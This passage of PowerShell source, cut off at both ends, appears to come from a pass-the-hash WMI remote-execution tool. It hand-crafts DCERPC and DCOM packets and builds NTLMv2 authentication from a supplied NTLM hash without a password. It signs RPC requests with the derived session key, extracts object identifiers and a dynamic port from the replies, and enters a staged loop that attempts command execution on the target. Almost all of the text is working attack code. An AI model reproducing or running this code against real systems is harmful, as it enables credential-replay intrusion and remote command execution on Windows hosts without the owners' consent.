Write-Output \"[-] $target_long did not respond\"\r\n    }\r\n\r\n    if($WMI_client.Connected)\r\n    {\r\n        $WMI_client_stream = $WMI_client.GetStream()\r\n        $RPC_UUID = 0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46\r\n        $packet_RPC = New-PacketRPCBind 3 0xd0,0x16 0x01 0x01,0x00 $RPC_UUID 0x00,0x00\r\n        $packet_RPC[\"FragLength\"] = 0x78,0x00\r\n        $packet_RPC[\"AuthLength\"] = 0x28,0x00\r\n        $packet_RPC[\"NegotiateFlags\"] = 0x07,0x82,0x08,0xa2\r\n        $RPC = ConvertFrom-PacketOrderedDictionary $packet_RPC\r\n        $WMI_client_send = $RPC\r\n        $WMI_client_stream.Write($WMI_client_send,0,$WMI_client_send.Length) > $null\r\n        $WMI_client_stream.Flush()    \r\n        $WMI_client_stream.Read($WMI_client_receive,0,$WMI_client_receive.Length) > $null\r\n        $assoc_group = $WMI_client_receive[20..23]\r\n        $WMI_NTLMSSP = [System.BitConverter]::ToString($WMI_client_receive)\r\n        $WMI_NTLMSSP = $WMI_NTLMSSP -replace \"-\",\"\"\r\n        $WMI_NTLMSSP_index = $WMI_NTLMSSP.IndexOf(\"4E544C4D53535000\")\r\n        $WMI_NTLMSSP_bytes_index = $WMI_NTLMSSP_index / 2\r\n        $WMI_domain_length = Get-UInt16DataLength ($WMI_NTLMSSP_bytes_index + 12) $WMI_client_receive\r\n        $WMI_target_length = Get-UInt16DataLength ($WMI_NTLMSSP_bytes_index + 40) $WMI_client_receive\r\n        $WMI_session_ID = $WMI_client_receive[44..51]\r\n        $WMI_NTLM_challenge = $WMI_client_receive[($WMI_NTLMSSP_bytes_index + 24)..($WMI_NTLMSSP_bytes_index + 31)]\r\n        $WMI_target_details = $WMI_client_receive[($WMI_NTLMSSP_bytes_index + 56 + $WMI_domain_length)..($WMI_NTLMSSP_bytes_index + 55 + $WMI_domain_length + $WMI_target_length)]\r\n        $WMI_target_time_bytes = $WMI_target_details[($WMI_target_details.Length - 12)..($WMI_target_details.Length - 5)]\r\n        $NTLM_hash_bytes = (&{for ($i = 0;$i -lt $hash.Length;$i += 2){$hash.SubString($i,2)}}) -join \"-\"\r\n        $NTLM_hash_bytes = $NTLM_hash_bytes.Split(\"-\") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}\r\n        $auth_hostname = (get-childitem -path env:computername).Value\r\n        $auth_hostname_bytes = [System.Text.Encoding]::Unicode.GetBytes($auth_hostname)\r\n        $auth_domain = $Domain\r\n        $auth_domain_bytes = [System.Text.Encoding]::Unicode.GetBytes($auth_domain)\r\n        $auth_username_bytes = [System.Text.Encoding]::Unicode.GetBytes($username)\r\n        $auth_domain_length = [System.BitConverter]::GetBytes($auth_domain_bytes.Length)[0,1]\r\n        $auth_domain_length = [System.BitConverter]::GetBytes($auth_domain_bytes.Length)[0,1]\r\n        $auth_username_length = [System.BitConverter]::GetBytes($auth_username_bytes.Length)[0,1]\r\n        $auth_hostname_length = [System.BitConverter]::GetBytes($auth_hostname_bytes.Length)[0,1]\r\n        $auth_domain_offset = 0x40,0x00,0x00,0x00\r\n        $auth_username_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + 64)\r\n        $auth_hostname_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + 64)\r\n        $auth_LM_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + 64)\r\n        $auth_NTLM_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + 88)\r\n        $HMAC_MD5 = New-Object System.Security.Cryptography.HMACMD5\r\n        $HMAC_MD5.key = $NTLM_hash_bytes\r\n        $username_and_target = $username.ToUpper()\r\n        $username_and_target_bytes = [System.Text.Encoding]::Unicode.GetBytes($username_and_target)\r\n        $username_and_target_bytes += $auth_domain_bytes\r\n        $NTLMv2_hash = $HMAC_MD5.ComputeHash($username_and_target_bytes)\r\n        $client_challenge = [String](1..8 | ForEach-Object {\"{0:X2}\" -f (Get-Random -Minimum 1 -Maximum 255)})\r\n        $client_challenge_bytes = $client_challenge.Split(\" \") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}\r\n\r\n        $security_blob_bytes = 0x01,0x01,0x00,0x00,\r\n                                0x00,0x00,0x00,0x00 +\r\n                                $WMI_target_time_bytes +\r\n                                $client_challenge_bytes +\r\n                                0x00,0x00,0x00,0x00 +\r\n                                $WMI_target_details +\r\n                                0x00,0x00,0x00,0x00,\r\n                                0x00,0x00,0x00,0x00\r\n\r\n        $server_challenge_and_security_blob_bytes = $WMI_NTLM_challenge + $security_blob_bytes\r\n        $HMAC_MD5.key = $NTLMv2_hash\r\n        $NTLMv2_response = $HMAC_MD5.ComputeHash($server_challenge_and_security_blob_bytes)\r\n        $session_base_key = $HMAC_MD5.ComputeHash($NTLMv2_response)\r\n        $NTLMv2_response = $NTLMv2_response + $security_blob_bytes\r\n        $NTLMv2_response_length = [System.BitConverter]::GetBytes($NTLMv2_response.Length)[0,1]\r\n        $WMI_session_key_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + $NTLMv2_response.Length + 88)\r\n        $WMI_session_key_length = 0x00,0x00\r\n        $WMI_negotiate_flags = 0x15,0x82,0x88,0xa2\r\n\r\n        $NTLMSSP_response = 0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00,\r\n                                0x03,0x00,0x00,0x00,\r\n                                0x18,0x00,\r\n                                0x18,0x00 +\r\n                                $auth_LM_offset +\r\n                                $NTLMv2_response_length +\r\n                                $NTLMv2_response_length +\r\n                                $auth_NTLM_offset +\r\n                                $auth_domain_length +\r\n                                $auth_domain_length +\r\n                                $auth_domain_offset +\r\n                                $auth_username_length +\r\n                                $auth_username_length +\r\n                                $auth_username_offset +\r\n                                $auth_hostname_length +\r\n                                $auth_hostname_length +\r\n                                $auth_hostname_offset +\r\n                                $WMI_session_key_length +\r\n                                $WMI_session_key_length +\r\n                                $WMI_session_key_offset +\r\n                                $WMI_negotiate_flags +\r\n                                $auth_domain_bytes +\r\n                                $auth_username_bytes +\r\n                                $auth_hostname_bytes +\r\n                                0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,\r\n                                0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 +\r\n                                $NTLMv2_response\r\n\r\n        $assoc_group = $WMI_client_receive[20..23]\r\n        $packet_RPC = New-PacketRPCAUTH3 $NTLMSSP_response\r\n        $RPC = ConvertFrom-PacketOrderedDictionary $packet_RPC\r\n        $WMI_client_send = $RPC\r\n        $WMI_client_stream.Write($WMI_client_send,0,$WMI_client_send.Length) > $null\r\n        $WMI_client_stream.Flush()    \r\n        $causality_ID = [String](1..16 | ForEach-Object {\"{0:X2}\" -f (Get-Random -Minimum 1 -Maximum 255)})\r\n        [Byte[]]$causality_ID_bytes = $causality_ID.Split(\" \") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}\r\n        $unused_buffer = [String](1..16 | ForEach-Object {\"{0:X2}\" -f (Get-Random -Minimum 1 -Maximum 255)})\r\n        [Byte[]]$unused_buffer_bytes = $unused_buffer.Split(\" \") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}\r\n        $packet_DCOM_remote_create_instance = New-PacketDCOMRemoteCreateInstance $causality_ID_bytes $target_short\r\n        $DCOM_remote_create_instance = ConvertFrom-PacketOrderedDictionary $packet_DCOM_remote_create_instance\r\n        $packet_RPC = New-PacketRPCRequest 0x03 $DCOM_remote_create_instance.Length 0 0 0x03,0x00,0x00,0x00 0x01,0x00 0x04,0x00\r\n        $RPC = ConvertFrom-PacketOrderedDictionary $packet_RPC\r\n        $WMI_client_send = $RPC + $DCOM_remote_create_instance\r\n        $WMI_client_stream.Write($WMI_client_send,0,$WMI_client_send.Length) > $null\r\n        $WMI_client_stream.Flush()    \r\n        $WMI_client_stream.Read($WMI_client_receive,0,$WMI_client_receive.Length) > $null\r\n\r\n        if($WMI_client_receive[2] -eq 3 -and [System.BitConverter]::ToString($WMI_client_receive[24..27]) -eq '05-00-00-00')\r\n        {\r\n            Write-Output \"[-] $output_username WMI access denied on $target_long\"    \r\n        }\r\n        elseif($WMI_client_receive[2] -eq 3)\r\n        {\r\n            $error_code = [System.BitConverter]::ToString($WMI_client_receive[27..24])\r\n            $error_code = $error_code -replace \"-\",\"\"\r\n            Write-Output \"[-] Error code 0x$error_code\"\r\n        }\r\n        elseif($WMI_client_receive[2] -eq 2 -and !$WMI_execute)\r\n        {\r\n            Write-Output \"[+] $output_username accessed WMI on $target_long\"\r\n        }\r\n        elseif($WMI_client_receive[2] -eq 2)\r\n        {\r\n            \r\n            Write-Verbose \"[+] $output_username accessed WMI on $target_long\"\r\n\r\n            if($target_short -eq '127.0.0.1')\r\n            {\r\n                $target_short = $auth_hostname\r\n            }\r\n\r\n            $target_unicode = 0x07,0x00 + [System.Text.Encoding]::Unicode.GetBytes($target_short + \"[\")\r\n            $target_search = [System.BitConverter]::ToString($target_unicode)\r\n            $target_search = $target_search -replace \"-\",\"\"\r\n            $WMI_message = [System.BitConverter]::ToString($WMI_client_receive)\r\n            $WMI_message = $WMI_message -replace \"-\",\"\"\r\n            $target_index = $WMI_message.IndexOf($target_search)\r\n\r\n            if($target_index -lt 1)\r\n            {\r\n                $target_address_list = [System.Net.Dns]::GetHostEntry($target_long).AddressList\r\n\r\n                ForEach($IP_address in $target_address_list)\r\n                {\r\n                    $target_short = $IP_address.IPAddressToString\r\n                    $target_unicode = 0x07,0x00 + [System.Text.Encoding]::Unicode.GetBytes($target_short + \"[\")\r\n                    $target_search = [System.BitConverter]::ToString($target_unicode)\r\n                    $target_search = $target_search -replace \"-\",\"\"\r\n                    $target_index = $WMI_message.IndexOf($target_search)\r\n\r\n                    if($target_index -gt 0)\r\n                    {\r\n                        break\r\n                    }\r\n\r\n                }\r\n\r\n            }\r\n\r\n            if($target_long -cne $target_short)\r\n            {\r\n                Write-Verbose \"[*] Using $target_short for random port extraction\"\r\n            }\r\n\r\n            if($target_index -gt 0)\r\n            {\r\n                $target_bytes_index = $target_index / 2\r\n                $WMI_random_port = $WMI_client_receive[($target_bytes_index + $target_unicode.Length)..($target_bytes_index + $target_unicode.Length + 8)]\r\n                $WMI_random_port = [System.BitConverter]::ToString($WMI_random_port)\r\n                $WMI_random_port_end_index = $WMI_random_port.IndexOf(\"-5D\")\r\n\r\n                if($WMI_random_port_end_index -gt 0)\r\n                {\r\n                    $WMI_random_port = $WMI_random_port.SubString(0,$WMI_random_port_end_index)\r\n                }\r\n\r\n                $WMI_random_port = $WMI_random_port -replace \"-00\",\"\"\r\n                $WMI_random_port = $WMI_random_port.Split(\"-\") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}\r\n                [Int]$WMI_random_port_int = -join $WMI_random_port \r\n                $MEOW = [System.BitConverter]::ToString($WMI_client_receive)\r\n                $MEOW = $MEOW -replace \"-\",\"\"\r\n                $MEOW_index = $MEOW.IndexOf(\"4D454F570100000018AD09F36AD8D011A07500C04FB68820\")\r\n                $MEOW_bytes_index = $MEOW_index / 2\r\n                $OXID = $WMI_client_receive[($MEOW_bytes_index + 32)..($MEOW_bytes_index + 39)]\r\n                $IPID = $WMI_client_receive[($MEOW_bytes_index + 48)..($MEOW_bytes_index + 63)]\r\n                $OXID = [System.BitConverter]::ToString($OXID)\r\n                $OXID = $OXID -replace \"-\",\"\"\r\n                $OXID_index = $MEOW.IndexOf($OXID,$MEOW_index + 100)\r\n                $OXID_bytes_index = $OXID_index / 2\r\n                $object_UUID = $WMI_client_receive[($OXID_bytes_index + 12)..($OXID_bytes_index + 27)]\r\n                $WMI_client_random_port = New-Object System.Net.Sockets.TCPClient\r\n                $WMI_client_random_port.Client.ReceiveTimeout = 30000\r\n            }\r\n\r\n            if($WMI_random_port)\r\n            {\r\n\r\n                Write-Verbose \"[*] Connecting to $target_long`:$WMI_random_port_int\"\r\n\r\n                try\r\n                {\r\n                    $WMI_client_random_port.Connect($target_long,$WMI_random_port_int)\r\n                }\r\n                catch\r\n                {\r\n                    Write-Output \"[-] $target_long`:$WMI_random_port_int did not respond\"\r\n                }\r\n\r\n            }\r\n            else\r\n            {\r\n                Write-Output \"[-] Random port extraction failure\"\r\n            }\r\n\r\n        }\r\n        else\r\n        {\r\n            Write-Output \"[-] Something went wrong\"\r\n        }\r\n\r\n        if($WMI_client_random_port.Connected)\r\n        {\r\n            $WMI_client_random_port_stream = $WMI_client_random_port.GetStream()\r\n            $packet_RPC = New-PacketRPCBind 2 0xd0,0x16 0x03 0x00,0x00 0x43,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46 0x00,0x00\r\n            $packet_RPC[\"FragLength\"] = 0xd0,0x00\r\n            $packet_RPC[\"AuthLength\"] = 0x28,0x00\r\n            $packet_RPC[\"AuthLevel\"] = 0x04\r\n            $packet_RPC[\"NegotiateFlags\"] = 0x97,0x82,0x08,0xa2\r\n            $RPC = ConvertFrom-PacketOrderedDictionary $packet_RPC\r\n            $WMI_client_send = $RPC\r\n            $WMI_client_random_port_stream.Write($WMI_client_send,0,$WMI_client_send.Length) > $null\r\n            $WMI_client_random_port_stream.Flush()    \r\n            $WMI_client_random_port_stream.Read($WMI_client_receive,0,$WMI_client_receive.Length) > $null\r\n            $assoc_group = $WMI_client_receive[20..23]\r\n            $WMI_NTLMSSP = [System.BitConverter]::ToString($WMI_client_receive)\r\n            $WMI_NTLMSSP = $WMI_NTLMSSP -replace \"-\",\"\"\r\n            $WMI_NTLMSSP_index = $WMI_NTLMSSP.IndexOf(\"4E544C4D53535000\")\r\n            $WMI_NTLMSSP_bytes_index = $WMI_NTLMSSP_index / 2\r\n            $WMI_domain_length = Get-UInt16DataLength ($WMI_NTLMSSP_bytes_index + 12) $WMI_client_receive\r\n            $WMI_target_length = Get-UInt16DataLength ($WMI_NTLMSSP_bytes_index + 40) $WMI_client_receive\r\n            $WMI_session_ID = $WMI_client_receive[44..51]\r\n            $WMI_NTLM_challenge = $WMI_client_receive[($WMI_NTLMSSP_bytes_index + 24)..($WMI_NTLMSSP_bytes_index + 31)]\r\n            $WMI_target_details = $WMI_client_receive[($WMI_NTLMSSP_bytes_index + 56 + $WMI_domain_length)..($WMI_NTLMSSP_bytes_index + 55 + $WMI_domain_length + $WMI_target_length)]\r\n            $WMI_target_time_bytes = $WMI_target_details[($WMI_target_details.Length - 12)..($WMI_target_details.Length - 5)]\r\n            $NTLM_hash_bytes = (&{for ($i = 0;$i -lt $hash.Length;$i += 2){$hash.SubString($i,2)}}) -join \"-\"\r\n            $NTLM_hash_bytes = $NTLM_hash_bytes.Split(\"-\") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}\r\n            $auth_hostname = (Get-ChildItem -path env:computername).Value\r\n            $auth_hostname_bytes = [System.Text.Encoding]::Unicode.GetBytes($auth_hostname)\r\n            $auth_domain = $Domain\r\n            $auth_domain_bytes = [System.Text.Encoding]::Unicode.GetBytes($auth_domain)\r\n            $auth_username_bytes = [System.Text.Encoding]::Unicode.GetBytes($username)\r\n            $auth_domain_length = [System.BitConverter]::GetBytes($auth_domain_bytes.Length)[0,1]\r\n            $auth_domain_length = [System.BitConverter]::GetBytes($auth_domain_bytes.Length)[0,1]\r\n            $auth_username_length = [System.BitConverter]::GetBytes($auth_username_bytes.Length)[0,1]\r\n            $auth_hostname_length = [System.BitConverter]::GetBytes($auth_hostname_bytes.Length)[0,1]\r\n            $auth_domain_offset = 0x40,0x00,0x00,0x00\r\n            $auth_username_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + 64)\r\n            $auth_hostname_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + 64)\r\n            $auth_LM_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + 64)\r\n            $auth_NTLM_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + 88)\r\n            $HMAC_MD5 = New-Object System.Security.Cryptography.HMACMD5\r\n            $HMAC_MD5.key = $NTLM_hash_bytes\r\n            $username_and_target = $username.ToUpper()\r\n            $username_and_target_bytes = [System.Text.Encoding]::Unicode.GetBytes($username_and_target)\r\n            $username_and_target_bytes += $auth_domain_bytes\r\n            $NTLMv2_hash = $HMAC_MD5.ComputeHash($username_and_target_bytes)\r\n            $client_challenge = [String](1..8 | ForEach-Object {\"{0:X2}\" -f (Get-Random -Minimum 1 -Maximum 255)})\r\n            $client_challenge_bytes = $client_challenge.Split(\" \") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}\r\n\r\n            $security_blob_bytes = 0x01,0x01,0x00,0x00,\r\n                                    0x00,0x00,0x00,0x00 +\r\n                                    $WMI_target_time_bytes +\r\n                                    $client_challenge_bytes +\r\n                                    0x00,0x00,0x00,0x00 +\r\n                                    $WMI_target_details +\r\n                                    0x00,0x00,0x00,0x00,\r\n                                    0x00,0x00,0x00,0x00\r\n\r\n            $server_challenge_and_security_blob_bytes = $WMI_NTLM_challenge + $security_blob_bytes\r\n            $HMAC_MD5.key = $NTLMv2_hash\r\n            $NTLMv2_response = $HMAC_MD5.ComputeHash($server_challenge_and_security_blob_bytes)\r\n            $session_base_key = $HMAC_MD5.ComputeHash($NTLMv2_response)\r\n\r\n            $client_signing_constant = 0x73,0x65,0x73,0x73,0x69,0x6f,0x6e,0x20,0x6b,0x65,0x79,0x20,0x74,0x6f,0x20,\r\n                                        0x63,0x6c,0x69,0x65,0x6e,0x74,0x2d,0x74,0x6f,0x2d,0x73,0x65,0x72,0x76,\r\n                                        0x65,0x72,0x20,0x73,0x69,0x67,0x6e,0x69,0x6e,0x67,0x20,0x6b,0x65,0x79,\r\n                                        0x20,0x6d,0x61,0x67,0x69,0x63,0x20,0x63,0x6f,0x6e,0x73,0x74,0x61,0x6e,\r\n                                        0x74,0x00\r\n\r\n            $MD5 = New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider\r\n            $client_signing_key = $MD5.ComputeHash($session_base_key + $client_signing_constant)\r\n            $NTLMv2_response = $NTLMv2_response + $security_blob_bytes\r\n            $NTLMv2_response_length = [System.BitConverter]::GetBytes($NTLMv2_response.Length)[0,1]\r\n            $WMI_session_key_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + $NTLMv2_response.Length + 88)\r\n            $WMI_session_key_length = 0x00,0x00\r\n            $WMI_negotiate_flags = 0x15,0x82,0x88,0xa2\r\n\r\n            $NTLMSSP_response = 0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00,\r\n                                    0x03,0x00,0x00,0x00,\r\n                                    0x18,0x00,\r\n                                    0x18,0x00 +\r\n                                    $auth_LM_offset +\r\n                                    $NTLMv2_response_length +\r\n                                    $NTLMv2_response_length +\r\n                                    $auth_NTLM_offset +\r\n                                    $auth_domain_length +\r\n                                    $auth_domain_length +\r\n                                    $auth_domain_offset +\r\n                                    $auth_username_length +\r\n                                    $auth_username_length +\r\n                                    $auth_username_offset +\r\n                                    $auth_hostname_length +\r\n                                    $auth_hostname_length +\r\n                                    $auth_hostname_offset +\r\n                                    $WMI_session_key_length +\r\n                                    $WMI_session_key_length +\r\n                                    $WMI_session_key_offset +\r\n                                    $WMI_negotiate_flags +\r\n                                    $auth_domain_bytes +\r\n                                    $auth_username_bytes +\r\n                                    $auth_hostname_bytes +\r\n                                    0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,\r\n                                    0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,\r\n                                    0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 +\r\n                                    $NTLMv2_response\r\n\r\n            $HMAC_MD5.key = $client_signing_key\r\n            [Byte[]]$sequence_number = 0x00,0x00,0x00,0x00\r\n            $packet_RPC = New-PacketRPCAUTH3 $NTLMSSP_response\r\n            $packet_RPC[\"CallID\"] = 0x02,0x00,0x00,0x00\r\n            $packet_RPC[\"AuthLevel\"] = 0x04\r\n            $RPC = ConvertFrom-PacketOrderedDictionary $packet_RPC\r\n            $WMI_client_send = $RPC\r\n            $WMI_client_random_port_stream.Write($WMI_client_send,0,$WMI_client_send.Length) > $null\r\n            $WMI_client_random_port_stream.Flush()\r\n            $packet_RPC = New-PacketRPCRequest 0x83 76 16 4 0x02,0x00,0x00,0x00 0x00,0x00 0x03,0x00 $object_UUID\r\n            $packet_rem_query_interface = New-PacketDCOMRemQueryInterface $causality_ID_bytes $IPID 0xd6,0x1c,0x78,0xd4,0xd3,0xe5,0xdf,0x44,0xad,0x94,0x93,0x0e,0xfe,0x48,0xa8,0x87\r\n            $packet_NTLMSSP_verifier = New-PacketNTLMSSPVerifier 4 0x04 $sequence_number\r\n            $RPC = ConvertFrom-PacketOrderedDictionary $packet_RPC\r\n            $rem_query_interface = ConvertFrom-PacketOrderedDictionary $packet_rem_query_interface\r\n            $NTLMSSP_verifier = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_verifier\r\n            $HMAC_MD5.key = $client_signing_key\r\n            $RPC_signature = $HMAC_MD5.ComputeHash($sequence_number + $RPC + $rem_query_interface + $NTLMSSP_verifier[0..11])\r\n            $RPC_signature = $RPC_signature[0..7]\r\n            $packet_NTLMSSP_verifier[\"NTLMSSPVerifierChecksum\"] = $RPC_signature\r\n            $NTLMSSP_verifier = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_verifier\r\n            $WMI_client_send = $RPC + $rem_query_interface + $NTLMSSP_verifier\r\n            $WMI_client_random_port_stream.Write($WMI_client_send,0,$WMI_client_send.Length) > $null\r\n            $WMI_client_random_port_stream.Flush()    \r\n            $WMI_client_random_port_stream.Read($WMI_client_receive,0,$WMI_client_receive.Length) > $null\r\n            $WMI_client_stage = 'Exit'\r\n\r\n            if($WMI_client_receive[2] -eq 3 -and [System.BitConverter]::ToString($WMI_client_receive[24..27]) -eq '05-00-00-00')\r\n            {\r\n                Write-Output \"[-] $output_username WMI access denied on $target_long\"   \r\n            }\r\n            elseif($WMI_client_receive[2] -eq 3)\r\n            {\r\n                $error_code = [System.BitConverter]::ToString($WMI_client_receive[27..24])\r\n                $error_code = $error_code -replace \"-\",\"\"\r\n                Write-Output \"[-] Failed with error code 0x$error_code\"\r\n            }\r\n            elseif($WMI_client_receive[2] -eq 2)\r\n            {\r\n                $WMI_data = [System.BitConverter]::ToString($WMI_client_receive)\r\n                $WMI_data = $WMI_data -replace \"-\",\"\"\r\n                $OXID_index = $WMI_data.IndexOf($OXID)\r\n                $OXID_bytes_index = $OXID_index / 2\r\n                $object_UUID2 = $WMI_client_receive[($OXID_bytes_index + 16)..($OXID_bytes_index + 31)]\r\n                $WMI_client_stage = 'AlterContext'\r\n            }\r\n            else\r\n            {\r\n                Write-Output \"[-] Something went wrong\"\r\n            }\r\n\r\n            Write-Verbose \"[*] Attempting command execution\"\r\n            $request_split_index = 5500\r\n\r\n            :WMI_execute_loop while ($WMI_client_stage -ne 'Exit')\r\n            {\r\n\r\n                if($WMI_client_receive[2] -eq 3)\r\n                {\r\n                    $error_code = [System.BitConverter]::ToString($WMI_client_receive[27..24])\r\n                    $error_code = $error_code -replace \"-\",\"\"\r\n                    Write-Output \"[-] Failed with error code 0x$error_code\"\r\n                    $WMI_client_stage = 'Exit'\r\n                }\r\n\r\n                switch ($WMI_client_stage)\r\n                {\r\n            \r\n                    'AlterContext'\r\n                    {\r\n\r\n                        switch ($sequence_number[0])\r\n                        {\r\n\r\n                            0\r\n                            {\r\n                                $alter_context_call_ID = 0x03,0x00,0x00,0x00\r\n                                $alter_context_context_ID = 0x02,0x00\r\n                                $alter_context_UUID = 0xd6,0x1c,0x78,0xd4,0xd3,0xe5,0xdf,0x44,0xad,0x94,0x93,0x0e,0xfe,0x48,0xa8,0x87\r\n                                $WMI_client_stage_next = 'Request'\r\n                            }\r\n\r\n                            1\r\n                            {\r\n                                $alter_context_call_ID = 0x04,0x00,0x00,0x00 \r\n                                $alter_context_context_ID = 0x03,0x00\r\n                                $alter_context_UUID = 0x18,0xad,0x09,0xf3,0x6a,0xd8,0xd0,0x11,0xa0,0x75,0x00,0xc0,0x4f,0xb6,0x88,0x20\r\n                                $WMI_client_stage_next = 'Request'\r\n                            }\r\n\r\n                            6\r\n                            {\r\n                                $alter_context_call_ID = 0x09,0x00,0x00,0x00 \r\n                                $alter_context_context_ID = 0x04,0x00\r\n                                $alter_context_UUID = 0x99,0xdc,0x56,0x95,0x8c,0x82,0xcf,0x11,0xa3,0x7e,0x00,0xaa,0x00,0x32,0x40,0xc7\r\n                                $WMI_client_stage_next = 'Request'\r\n                            }\r\n\r\n                        }\r\n\r\n                        $packet_RPC = New-PacketRPCAlterContext $assoc_group $alter_context_call_ID $alter_context_context_ID $alter_context_UUID\r\n                        $RPC = ConvertFrom-PacketOrderedDictionary $packet_RPC\r\n                        $WMI_client_send = $RPC\r\n                        $WMI_client_random_port_stream.Write($WMI_client_send,0,$WMI_client_send.Length) > $null\r\n                        $WMI_client_random_port_stream.Flush()    \r\n                        $WMI_client_random_port_stream.Read($WMI_client_receive,0,$WMI_client_receive.Length) > $null\r\n                        $WMI_client_stage = $WMI_client_stage_next\r\n                    }\r\n                  \r\n                    'Request'\r\n                    {\r\n                        $request_split = $false\r\n\r\n                        switch ($sequence_number[0])\r\n                        {\r\n\r\n                            0\r\n                            {\r\n                                $sequence_number = 0x01,0x00,0x00,0x00\r\n                                $request_flags = 0x83\r\n                                $request_auth_padding = 12\r\n                                $request_call_ID = 0x03,0x00,0x00,0x00\r\n                                $request_context_ID = 0x02,0x00\r\n                                $request_opnum = 0x03,0x00\r\n                                $request_UUID = $object_UUID2\r\n                                $hostname_length = [System.BitConverter]::GetBytes($auth_hostname.Length + 1)\r\n                                $WMI_client_stage_next = 'AlterContext'\r\n\r\n                                if([Bool]($auth_hostname.Length % 2))\r\n                                {\r\n                                    $auth_hostname_bytes += 0x00,0x00\r\n                                }\r\n                                else\r\n                                {\r\n                                    $auth_hostname_bytes += 0x00,0x00,0x00,0x00\r\n                                }\r\n\r\n                                $stub_data = 0x05,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + \r\n                                                $causality_ID_bytes + \r\n                                                0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x00 + \r\n                                                $hostname_length +\r\n                                                0x00,0x00,0x00,0x00 +\r\n                                                $hostname_length +\r\n                                                $auth_hostname_bytes +\r\n                                                $process_ID_bytes + \r\n                                                0x00,0x00,0x00,0x00,0x00,0x00\r\n\r\n                            }\r\n\r\n                            1\r\n                            {\r\n                                $sequence_number = 0x02,0x00,0x00,0x00\r\n                                $request_flags = 0x83\r\n                                $request_auth_padding = 8\r\n                                $request_call_ID = 0x04,0x00,0x00,0x00\r\n                                $request_context_ID = 0x03,0x00\r\n                                $request_opnum = 0x03,0x00\r\n                                $request_UUID = $IPID\r\n                                $WMI_client_stage_next = 'Request'\r\n\r\n                                $stub_data = 0x05,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + \r\n                                                $causality_ID_bytes + \r\n                                                0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00\r\n\r\n                            }\r\n\r\n                            2\r\n                            {\r\n                                $sequence_number = 0x03,0x00,0x00,0x00\r\n                                $request_flags = 0x83\r\n                                $request_auth_padding = 0\r\n                                $request_call_ID = 0x05,0x00,0x00,0x00\r\n                                $request_context_ID = 0x03,0x00\r\n                                $request_opnum = 0x06,0x00\r\n                                $request_UUID = $IPID\r\n                                [Byte[]]$WMI_namespace_length = [System.BitConverter]::GetBytes($target_short.Length + 14)\r\n                                [Byte[]]$WMI_namespace_unicode = [System.Text.Encoding]::Unicode.GetBytes(\"\\\\$target_short\\root\\cimv2\")\r\n                                $WMI_client_stage_next = 'Request'\r\n\r\n                                if([Bool]($target_short.Length % 2))\r\n                                {\r\n                                    $WMI_namespace_unicode += 0x00,0x00,0x00,0x00\r\n                                }\r\n                                else\r\n                                {\r\n                                    $WMI_namespace_unicode += 0x00,0x00\r\n                                }\r\n\r\n                                $stub_data = 0x05,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 +\r\n                                                $causality_ID_bytes +\r\n                                                0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x00 +\r\n                                                $WMI_namespace_length +\r\n                                                0x00,0x00,0x00,0x00 +\r\n                                                $WMI_namespace_length +\r\n                                                $WMI_namespace_unicode +\r\n                                                0x04,0x00,0x02,0x00,0x09,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x09,\r\n                                                0x00,0x00,0x00,0x65,0x00,0x6e,0x00,0x2d,0x00,0x55,0x00,0x53,0x00,\r\n                                                0x2c,0x00,0x65,0x00,0x6e,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,\r\n                                                0x00,0x00,0x00,0x00,0x00\r\n\r\n                            }\r\n\r\n                            3\r\n                            {\r\n                                $sequence_number = 0x04,0x00,0x00,0x00\r\n                                $request_flags = 0x83\r\n                                $request_auth_padding = 8\r\n                                $request_call_ID = 0x06,0x00,0x00,0x00\r\n                                $request_context_ID = 0x00,0x00\r\n                                $request_opnum = 0x05,0x00\r\n                                $request_UUID = $object_UUID\r\n                                